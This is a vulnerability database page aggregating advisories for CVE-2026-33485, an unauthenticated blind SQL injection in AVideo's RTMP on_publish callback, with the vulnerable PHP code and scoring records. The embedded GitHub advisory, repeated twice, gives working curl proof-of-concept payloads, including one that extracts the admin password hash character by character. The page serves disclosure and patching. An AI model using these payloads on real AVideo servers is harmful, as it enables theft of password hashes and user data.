CVE-2026-33485
AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Commit af59eade82de645b20183cc3d74467a7eac76549 contains a patch.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.5
AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Commit af59eade82de645b20183cc3d74467a7eac76549 contains a patch.
- Record
CVE-2026-33485- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-89
- Updated
- 2026-11-02
EUVDEUVD-2026-14443
7.5
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Commit af59eade82de645b20183cc3d74467a7eac76549 contains a patch.
- Record
EUVD-2026-14443- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-8p58-35c3-ccxx
7.5
AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter
Summary
The RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.
Details
Entry point: plugin/Live/on_publish.php — no authentication, no IP allowlist, no origin verification.
Sanitization (insufficient): Line 117 strips only & and = characters:
// plugin/Live/on_publish.php:117
$_POST['name'] = preg_replace("/[&=]/", '', $_POST['name']);
Injection point #1 — unconditional (no p parameter needed):
At line 120, $_POST['name'] is passed directly to LiveTransmitionHistory::getLatest():
// plugin/Live/on_publish.php:120
$activeLive = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, ...);
Inside getLatest(), the key is interpolated into a LIKE clause without escaping:
// plugin/Live/Objects/LiveTransmitionHistory.php:494-495
if (!empty($key)) {
$sql .= " AND lth.`key` LIKE '{$key}%' ";
}
Injection point #2 — when $_GET['p'] is provided:
At line 146, $_POST['name'] is passed to LiveTransmition::keyExists():
// plugin/Live/on_publish.php:146
$obj->row = LiveTransmition::keyExists($_POST['name']);
Inside keyExists(), cleanUpKey() is called (which only strips adaptive/playlist/sub suffixes — no SQL escaping), then the key is interpolated directly:
// plugin/Live/Objects/LiveTransmition.php:298-303
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
. " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
. " WHERE `key` = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql);
Why readSql() provides no protection: When called without format/values parameters (as in both cases above), sqlDAL::readSql() passes the full SQL string — with the injection payload already embedded — to $global['mysqli']->prepare(). Since there are no placeholders (?) and no bound parameters, prepare() simply compiles the injected SQL as-is. The eval_mysql_bind() function returns true immediately when formats/values are empty.
PoC
Injection point #1 (unconditional — simplest):
# Time-based blind SQLi via getLatest() — no p parameter needed
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23"
A ~5-second response time confirms injection. The payload:
- Avoids
&and=(stripped by line 117) - Avoids
_and-in positions wherecleanUpKey()would split - Uses
%23(#) to comment out the trailing%'
Data extraction — character-by-character:
# Extract first character of admin password hash
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\\$') %23"
Injection point #2 (via keyExists):
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live?p=test&name=' OR (SELECT SLEEP(5)) %23"
This reaches keyExists() at line 146, producing:
SELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt
LEFT JOIN users u ON u.id = users_id AND u.status='a'
WHERE `key` = '' OR (SELECT SLEEP(5)) #' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1
Impact
An unauthenticated remote attacker can:
- **Extract all…
- Record
GHSA-8p58-35c3-ccxx- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-89
- Updated
- 2026-11-02
NVD
7.5
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Commit af59eade82de645b20183cc3d74467a7eac76549 contains a patch.
- Record
CVE-2026-33485- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-89
- Updated
- 2026-11-02
OSV
7.5
AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Commit af59eade82de645b20183cc3d74467a7eac76549 contains a patch.
- Record
CVE-2026-33485- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-89
- Updated
- 2026-11-02
OSVGHSA-8p58-35c3-ccxx
7.5
AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter
Summary
The RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.
Details
Entry point: plugin/Live/on_publish.php — no authentication, no IP allowlist, no origin verification.
Sanitization (insufficient): Line 117 strips only & and = characters:
// plugin/Live/on_publish.php:117
$_POST['name'] = preg_replace("/[&=]/", '', $_POST['name']);
Injection point #1 — unconditional (no p parameter needed):
At line 120, $_POST['name'] is passed directly to LiveTransmitionHistory::getLatest():
// plugin/Live/on_publish.php:120
$activeLive = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, ...);
Inside getLatest(), the key is interpolated into a LIKE clause without escaping:
// plugin/Live/Objects/LiveTransmitionHistory.php:494-495
if (!empty($key)) {
$sql .= " AND lth.`key` LIKE '{$key}%' ";
}
Injection point #2 — when $_GET['p'] is provided:
At line 146, $_POST['name'] is passed to LiveTransmition::keyExists():
// plugin/Live/on_publish.php:146
$obj->row = LiveTransmition::keyExists($_POST['name']);
Inside keyExists(), cleanUpKey() is called (which only strips adaptive/playlist/sub suffixes — no SQL escaping), then the key is interpolated directly:
// plugin/Live/Objects/LiveTransmition.php:298-303
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
. " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
. " WHERE `key` = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql);
Why readSql() provides no protection: When called without format/values parameters (as in both cases above), sqlDAL::readSql() passes the full SQL string — with the injection payload already embedded — to $global['mysqli']->prepare(). Since there are no placeholders (?) and no bound parameters, prepare() simply compiles the injected SQL as-is. The eval_mysql_bind() function returns true immediately when formats/values are empty.
PoC
Injection point #1 (unconditional — simplest):
# Time-based blind SQLi via getLatest() — no p parameter needed
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23"
A ~5-second response time confirms injection. The payload:
- Avoids
&and=(stripped by line 117) - Avoids
_and-in positions wherecleanUpKey()would split - Uses
%23(#) to comment out the trailing%'
Data extraction — character-by-character:
# Extract first character of admin password hash
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\\$') %23"
Injection point #2 (via keyExists):
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live?p=test&name=' OR (SELECT SLEEP(5)) %23"
This reaches keyExists() at line 146, producing:
SELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt
LEFT JOIN users u ON u.id = users_id AND u.status='a'
WHERE `key` = '' OR (SELECT SLEEP(5)) #' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1
Impact
An unauthenticated remote attacker can:
- **Extract all…
- Record
GHSA-8p58-35c3-ccxx- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-89
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
wwbn/avideoPackagist |
through 26.0 | None known |
wwbn/avideoPackagist |
through 26.0, plus listed versions 10.410.81111.111.1.1 Show 11 moreShow less11.511.612.414.314.3.114.418.021.022.024.025.0 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-33485 is a high vulnerability (CVSS 7.5) in Wwbn Avideo, published March 20, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.49%, the 42nd percentile. No source names a fixed version.
References
github.com/WWBN/AVideo/security/advisories/GHSA-8p58-35c3-ccxx
github.com/WWBN/AVideo/commit/af59eade82de645b20183cc3d74467a7eac76549
nvd.nist.gov/vuln/detail/CVE-2026-33485
github.com/advisories/GHSA-8p58-35c3-ccxx
github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33485.json
github.com/WWBN/AVideo
Left out here: the rest of 2 source descriptions. The JSON record has them.